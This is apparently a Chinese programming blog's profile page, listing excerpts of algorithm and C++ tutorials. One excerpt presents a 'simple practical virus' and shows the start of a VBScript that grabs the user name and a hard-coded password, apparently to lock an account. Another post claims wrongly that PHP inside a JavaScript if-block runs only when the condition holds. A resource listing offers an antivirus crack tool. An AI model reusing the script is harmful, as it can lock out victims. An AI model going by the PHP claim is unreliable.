- 博客(52)
- 资源 (13)
- 问答 (1)
- 收藏
- 关注
原创 信息竞赛常用算法分享
经过这次深入挖掘,你是否感受到了排序算法的强大?它不仅仅是数据排序的工具,更是连接各个算法领域的桥梁。掌握排序算法,不仅能让你在算法竞赛中如鱼得水,更能助你在实际项目中展现非凡实力!下次遇到排序算法,记得挖掘它背后的无限潜力,这才是成为真正算法高手的秘诀!你以为几何算法只是竞赛中的小儿科,顶多画个漂亮图形?但是,朋友,你要知道,如果你还停留在这样的认知,那你已经out了!凸包(Convex Hull)——听起来像个不起眼的小问题,但实际上,它是算法竞赛中的核武器,是能让你在众多参赛者中脱颖而出的绝技!
2024-10-10 15:37:48
1355
原创 c语言的发展历史居然这么有趣?
就在C语言面临生死存亡之际,ANSI C(即C89/C90标准)应运而生,犹如武林大会中订立的新“江湖规矩”,为C语言带来了统一的标准,增强了其在江湖中的凝聚力和竞争力。虽然如今新语言层出不穷,纷纷宣称要取代C语言的地位,但C语言依然以其独特的魅力,稳稳地占据着程序员们的心,成为编程江湖中永恒的传奇。然而,新的挑战也随之而来,如何在保持高效的同时,引入更多现代编程特性,成为C语言亟待解决的问题。在编程语言的江湖中,C语言无疑是一位德高望重的前辈,既有“大哥大”的气势,又有“老司机”的稳重。
2024-09-24 09:58:21
429
原创 差分算法搞不懂?这篇文章带你飞
很多人都认为处理大量区间加减操作只能依靠费时的直接修改,简单的循环加法让人一看到就头疼。你以为那是唯一的解决方案,但你真的了解过差分数组的神奇吗?很多人认为处理区间加减操作需要一遍遍的遍历,但差分数组让这些繁琐的操作一秒钟搞定!差分数组不仅仅是高效的代表,更是让编程变得轻松愉快的魔法工具。如果你还在用老办法处理这些问题,是时候用上差分数组了!它能把区间更新问题变成常数时间的操作,这可不是开玩笑的!这些操作的时间复杂度是常数级别的 (O(1)),而不需要逐个处理。,你需要对其中的多个区间。
2024-09-15 19:45:49
395
原创 python中实用的数组操作技巧i奥,都在这里了
你以为你了解这些基础的数组操作?其实,背后隐藏着各种惊人的技巧和黑科技!今天,我们不仅讲解了数组操作的基础,还深入探讨了状态压缩DP的无穷魅力。快来挑战自己的极限,掌握这些技巧,成为编程竞赛中的超级明星吧!不管你是刚入门的编程新手,还是已经有一定经验的老手,相信这些技巧和操作将会成为你编程路上的宝贵财富。赶快动手实践,迎接编程的挑战,释放你无限的潜能吧!
2024-09-15 19:39:23
517
原创 一文讲通状态压缩算法
状态压缩 DP,看名字就让人头疼,很多人觉得这是些“天书”。但实际上,它的核心思想很简单——利用位运算来表示和操作问题的状态,直接用二进制的方式把状态“压缩”成一个整数。这个整数的每一位就代表了一个元素的状态(比如是否被选择、是否被访问等)。于是,我们就可以像操作整数那样,用高效的位操作来处理这些状态!想象一下,你有一个集合 {A, B, C, D},那么你可以用一个 4 位的二进制数1101来表示状态“选择了 A、C 和 D,没选 B”。这个时候,位运算就成了你的“魔法杖”!
2024-09-13 13:47:23
1255
1
原创 惩罚矩阵?动态规划是如何爱上矩阵的
通过使用惩罚矩阵,我们能够在动态规划中处理复杂的约束条件。是否觉得这个方法很有趣?惩罚矩阵使得我们能够灵活处理各种约束,让问题解决起来变得更加高效。试试看,应用这一技巧到你的实际问题中吧!你有没有在动态规划中使用其他有趣的方法?欢迎在评论中分享你的经验或提出问题!
2024-09-09 16:22:50
589
原创 重叠矩形面积不会算?来这篇文章学扫描线算法就对了
还在担心矩形重叠的问题难解?那是因为你没用对方法!扫描线法就是为了让你在海量数据中找到“重叠王”而生的。记住,聪明的你不需要蛮力,只需要用对工具,效率提升立马显现!今天的分享就到这里,赶紧动手实践吧,让这根“扫”得干净的线,帮你扫清一切困扰!我们下期见!希望你喜欢这个风格的文章!这个版本更加通俗易懂,同时也深入浅出地讲解了扫描线法如何解决矩形最大重叠问题。
2024-09-06 08:59:36
1157
原创 【无标题】最近点对问题太难懂?看这篇文章就对了
最近点对问题不仅仅是计算几何的一个小练习,它揭示了算法优化的深层逻辑。想要在竞赛中拔得头筹?想要在面试中成为闪亮的那颗星?那么你就需要掌握这样的算法,理解它的精髓,用它的威力来打破常规的认知。还等什么?今天的分享就到这里,赶快动手实践起来吧!我们下次见!
2024-09-06 08:37:04
843
原创 最近点对问题搞不懂?一篇文章就够了
最近点对问题不仅仅是计算几何的一个小练习,它揭示了算法优化的深层逻辑。想要在竞赛中拔得头筹?想要在面试中成为闪亮的那颗星?那么你就需要掌握这样的算法,理解它的精髓,用它的威力来打破常规的认知。还等什么?今天的分享就到这里,赶快动手实践起来吧!我们下次见!
2024-09-03 14:24:49
1183
原创 图算法太难懂?凸包算法搞不通?看这篇文章就够了
在二维平面上,给你一堆点,你能画出一个“包”裹住这些点的最小凸多边形吗?这就是所谓的凸包问题。你或许以为这没什么大不了的,但试想一下,应用场景遍布图像处理、机器人路径规划、数据分析中的聚类问题等等,简直就是无所不在!你在算法竞赛中遇到的复杂度都离不开这几个字:凸包。那么问题来了,如何高效地找到这个“包”?在计算几何的世界里,有几种经典的算法——Graham 扫描法(Graham Scan)Jarvis March(礼花算法)Andrew’s Monotone Chain(单调链)
2024-09-03 14:17:34
1534
原创 别再说你懂快速幂算法了,看完这篇文章你才会懂
好了,现在你已经知道快速幂算法的多种实现方式,递归、迭代、模运算,一个都不能少!你以为算法就是简单的实现?错!真正的算法是如何在实际场景中做到最优。快速幂看似基础,实则可以优化的地方多如牛毛。位运算优化:谁说只有加法和乘法能加速?位运算轻松搞定!分支预测优化:减少CPU的分支错猜,简直快到起飞!汇编级优化:在极致性能的场景下,直接上内联汇编,飙到天上去!汇编级优化通常是针对特定的硬件平台和编译器来进行的。它能够最大化地利用底层指令集的特点,挖掘程序性能的极限。
2024-08-31 08:03:01
709
原创 有人问我代码编译一直报错怎么回事
360等安全软件为了保护你的系统,常常会对某些文件进行“安全扫描”,它们自作主张地认为一些编译过程中生成的临时文件或工具链本身可能有风险,然后悄无声息地给你“隔离”或“删除”掉了。有时候,解决问题的关键不在于你写的有多好,而在于你装的有多“安全”!卸载了360,你的编译器立马恢复正常,代码顺利通过了编译,仿佛之前那个令人抓狂的报错根本不存在。原来,这背后的真相竟如此简单!让你绞尽脑汁的,真的是那几行代码吗?很多人都这样认为,但事实是,罪魁祸首可能根本不是你的代码——而是你电脑上的某个软件,没错,
2024-08-22 18:44:05
438
原创 你真的精精通排序算法吗?万字长文带你彻底搞懂排序算法及其高级应用
经过这次深入挖掘,你是否感受到了排序算法的强大?它不仅仅是数据排序的工具,更是连接各个算法领域的桥梁。掌握排序算法,不仅能让你在算法竞赛中如鱼得水,更能助你在实际项目中展现非凡实力!下次遇到排序算法,记得挖掘它背后的无限潜力,这才是成为真正算法高手的秘诀!
2024-08-22 14:54:44
1091
原创 scanf真的比cin快吗?底层原理详细分析,一看就懂
scanfcin你以为scanf总是比cin快?很多人都这么认为,但真的对吗?其实,这个常见的认知里隐藏着不为人知的秘密,今天我们就要彻底打破这个“神话”。是时候让大家明白,性能的真相远比你想象的要复杂!scanf。
2024-08-20 11:38:23
1348
原创 带你彻底搞懂lambda表达式,超详细
很多人以为 Lambda 只是让代码写得简洁些,方便些。但实际上,Lambda 表达式是一把威力巨大的工具,它打破了传统函数的限制,融合了闭包、泛型、移动语义等现代 C++ 特性,几乎可以解决所有场景中的问题。从简单的排序到复杂的异步任务,Lambda 无处不在,威力无穷。下次当你用 Lambda 表达式时,不妨想一想,它带来的不仅是代码的简化,更是编程思想的升华!
2024-08-20 08:31:32
964
原创 c++相较c语言最有用的十种操作,让你的代码又简洁又快
如果你这么想,那你真的低估了C++的威力。很多人认为C++就是C语言加上了一点面向对象编程,但真的是这样吗?不完全是!C++的强大不仅仅体现在它的语法上,而是在那些让你写出简洁、高效、强大代码的操作上。今天,我就来带你见识一下,C++里那些看似简单却威力无穷的操作,它们可不仅仅让你的代码变得漂亮,还能让你的程序跑得飞快!准备好了吗?让我们一探究竟!
2024-08-19 09:08:42
552
原创 只要一行代码,基于黄金分割快速算出斐波那契额数列,怎么办到的?详细解析来了
你以为计算斐波那契数列只能乖乖用递归或者循环?别开玩笑了,今天我就要告诉你,用一行代码就能搞定!更夸张的是,这一行代码居然和圆周率 (\pi) 有关!很多人以为,斐波那契和圆周率八竿子打不着,但真的是这样吗?
2024-08-15 09:20:53
207
原创 一文搞懂bfs,dfs和高级图算法
你以为BFS(广度优先搜索)和DFS(深度优先搜索)这两种基础算法,简单到小学数学就能搞定?但真的是这样吗?很多人都这么认为,但真的对吗?今天,我们不只是走马观花般看看这些算法,而是要挖掘出它们背后隐藏的秘密,探究那些被忽略的细节,看看它们是如何在不同场景中大显身手的!
2024-08-13 13:47:59
1378
原创 最长回文子序列dp到底如何实现?怎么优化?
下次再遇到类似的问题,别忘了这次的学习!问题不过是个小小的动态规划问题,稍微动动脑子,随便写几行代码就能搞定?别急,先别走开,今天我就带你见识一下,如何通过动态规划玩出。作为一个技术追求完美的程序员,我们必须逼自己一把,把这玩意优化到。你看,就是这么简单的几行代码,却能让你在算法竞赛中迅速脱颖而出。没错,只需要两个简单的一维数组,你就可以让空间复杂度从。当你掌握了这个优化技巧,类似的DP问题,你都可以用类似的方法来进行空间优化。是的,没错,我们可以通过一个。,还能把空间复杂度狠狠压缩,真正实现算法的。
2024-08-13 09:51:20
465
原创 动态规划太复杂?动态规划到底怎么优化?看完这篇文章彻底搞懂
首先,我们来揭开DP的神秘面纱。动态规划的核心在于什么?是“状态定义”。你以为这只是简单的数组操作?大错特错!**每个DP表格背后,都蕴藏着一个深不见底的智慧海洋。**定义状态的过程,实际上是在为原问题铺路,为后续的优化打下基础。比如,求解最长公共子序列问题时,我们定义dp[i][j]表示字符串A的前i个字符和字符串B的前j个字符的最长公共子序列长度。这一步看似简单,但实际上,你已经在无形中决定了问题的“命运”。首先,我们要定义dp[i][j]表示字符串S从i到j之间的最长回文子序列长度。听起来简单?
2024-08-13 09:38:50
1198
原创 python老司机入门c++,真的只是换个语法吗?看完这篇文章,少走弯路
你需要从一个高抽象层次的“指挥官”,转变为一个精细入微的“工程师”,亲手打磨每一行代码,掌控每一块内存,优化每一个操作。可在C++里,类的设计可是“刻在石头上”的,编译时就定型——属性、方法,样样不能含糊!但在C++里,你得明确告诉编译器哪些是虚函数,才能实现多态,这样的设计是为了性能、为了安全,但也要求你在编译时就考虑到对象的行为,而不是随意发挥!但是到了C++,嘿嘿,你可就得开始操心了。Python里的列表、字典、对象,随便用,用完Python自动清理,可在C++里,你每分配一块内存(用。
2024-08-12 10:28:37
368
原创 主定理搞不懂?深入浅出讲通算法时间复杂度
先举个简单的例子:你要做一堆数学题,题量越大,当然就越费时间对吧?那么时间复杂度就是告诉你,随着题量的增加,做题的时间会增长得多快。比如,有的题做起来飞快,有的题却越做越慢,做的时间可能会成倍增加。主定理是分析递归算法时间复杂度的强大工具。分解占主导时,忽略合并,直接看分解的次数和规模。分解和合并都重要时,考虑两者的共同作用,加上一个 ( \log n )。合并占主导时,合并过程最复杂,所以直接用它的复杂度。
2024-08-11 11:41:07
418
原创 质数判断居然这么复杂?一篇文章带你搞透质数判断那些事
大家好,我是干货哥!今天我们继续深入探讨质数判断的那些事儿。你可能以为质数判断无非就是用除法轮番上阵,其实没错,但如果我告诉你,可以通过一些运算让这些常见的方法速度翻倍,甚至百倍,你信不信?今天,我就带你揭秘如何用运算优化,让质数判断变得飞一般的快!
2024-08-11 10:38:50
851
原创 为什么竞赛中你的算法突然爆炸?很可能就是用了这些看似无害的c++操作。早看早避坑
然而,当元素多到一定程度,频繁的移动操作让你的程序速度直线下降,特别是在时间紧迫的竞赛中,这种无视隐形复杂度的操作,直接把你的算法拖进了死胡同!但是,一旦触发内存重分配,背后的 O(n) 操作会让你措手不及,特别是在处理长字符串时,这一操作让你在竞赛中原本紧张的时间直接失控,最终陷入无法完成的境地。操作,所有元素都得重新哈希、重新分配,时间复杂度瞬间飙升到 O(n),这时候你的算法在大数据集上突然不堪重负,直接崩盘,时间超限。就在你还没反应过来时,竞赛时间结束了,你的算法在不知不觉中就被击溃了。
2024-08-11 07:39:21
309
原创 为啥说SPFA已死?三种图论算法太难懂?深入浅出谈图论,看这篇文章就够了
为了给参赛者出难题,他们会设计一些“恶意”图结构——例如具有大量负权边或复杂的环形结构,这些图会让 SPFA 的队列膨胀得离谱,从而使算法的最坏时间复杂度从 (O(V + E)) 升至 (O(VE))。Floyd-Warshall 算法和前面两位不同,它是个全局性算法,能够在 (O(V^3)) 的时间复杂度内解决任意两点之间的最短路径问题。这使得它在稠密图(边数远大于节点数)的情况下表现较好,尤其是在没有负权边的场景下,Dijkstra 是稳定且高效的选择。但在算法竞赛中,它的命运往往由出题人掌控。
2024-08-10 15:37:32
2496
原创 算法竞赛的制胜法宝:被严重低估的位运算究竟有什么用?
大家好,我是干货哥。今天咱们来聊聊一个让很多人都忽略的神技——位运算。等等,你是不是已经准备关掉这篇文章了?你以为位运算只是计算机底层的鸡肋操作?你以为这些不过是编程语言里最基础、最无趣的东西?但真的是这样吗?很多人都这么认为,但真相往往超乎想象!
2024-08-10 12:33:18
484
原创 快手五秒播放率什么意思?多少比较合理
是指有多少了看你的视频看到了五秒,这个数据越高越好,一般专业性视频50%,娱乐性视频70%比较合理,说明是优质视频。
2021-08-16 08:22:22
5192
原创 最小中文编程语言发布
MSCR-Minimalist-Shaogod-for-Cinese-Runner简介MSCR(Minimalist Shaogod for Cinese Runner,直译最小中文编程语言)是我开发的一款采用c++语言的中文编程语言的运行工具,内部实现类似JVM,基于我早期开发的sws语言GUI版本。 MSCR类似c语言,只不过体积比gcc小得多(仅14kb),同时支持简单的图形界面,MSCR采用中文编程,比sws语言更好玩。 MSCR全部由我(邵帝)开发,由于本人刚刚初中毕业,水平有限,软件可能存在
2021-07-20 15:03:18
462
原创 sk1发动机参数

2021-06-22 21:21:56
387
原创 js调用php函数
js调用php函数其实很简单,但网上缺少相关资源,因此我就写此文以记之。假设这么一个php<?phpfunction shaogod(){//nothing}?>接下来是这样的js…if(…){<?php shaogod()?>}…就可以在条件成立时调用shaogod()这个php的函数了!很简单吧。...
2021-02-09 08:57:00
983
原创 教你写一个简单实用的病毒
首先,打开记事本,输入Const strPassword = “sigaide”’Dim WshNetworkSet WshNetwork = CreateObject(“WScript.Network”)Dim userNameuserName = WshNetwork.userName&",user"Dim DomainSet Domain = GetObject(“Wi...
2019-12-08 14:07:05
2824
2
原创 Solaris 10 x86 vmware tools工具安装失败(全网唯一可用教程,欢迎转载观看)
我有两个新安装的Solaris 10 x86(147147-26)VM,但是当我尝试安装VMware工具时,出现以下错误:无法更改文件GLOB(0x833319c)的访问权限。我尝试安装具有相同错误(不同的HEX值)的10.2、10.3和现在的10.3.2工具。VMware支持一直没有用。最后,在询问了一位工程师后才知道chmod函数不希望(也不理解)文件句柄,因此需要更改编辑vmware...
2019-11-07 18:17:59
258
原创 比termux更强大的安卓linux运行工具AidLearning发布,支持图形界面。
废话不说。项目及下载地址https://github.com/aidlearning/AidLearning-FrameWork
2019-07-12 17:17:20
12268
3
原创 windows获取文件所有权
win8的话右击有一个向管理员索取所有权,点一下就可以了,win10的话右击打开属性,转到安全,底下有所有者,添加一个anyone的所有权就可以了。希望有帮助,谢谢。...
2019-05-25 15:59:34
1605
原创 如何制作红蓝3d电影(详细教程)
自20世纪初以来,电影制作人一直试图通过制作3D电影来利用我们的双眼。现在,由于大量相对实惠的3D电视,你可以享受电影院以外的额外空间 - 你自己拍摄的视频。对于大预算的电影,电影摄影师使用两个相连的相机,并用分束器分开。但除非你有好莱坞级别的资金投入 - 钻机成本至少几千美元 - 你最好用更便宜的双镜头相机,这可以达到同样的效果。 (甚至还有一部智能手机,LG Thrill,用立体镜头拍摄3D...
2019-05-12 12:35:51
5817
windows下的延时摄影拍摄工具-SGCAM
2023-01-06
MediaID.bin
2020-03-23
vb截图工具(仿QQ截图,拥有编辑功能)
2020-03-19
flashplayer_29_sa播放器单独版
2019-04-05
ESET_ENDPOINT_v6.6.x破解工具
2019-03-16
qt编译dooble出现如下问题,确认webengine已经安装,求大佬zhi'jiao
2020-02-16
TA创建的收藏夹 TA关注的收藏夹
TA关注的人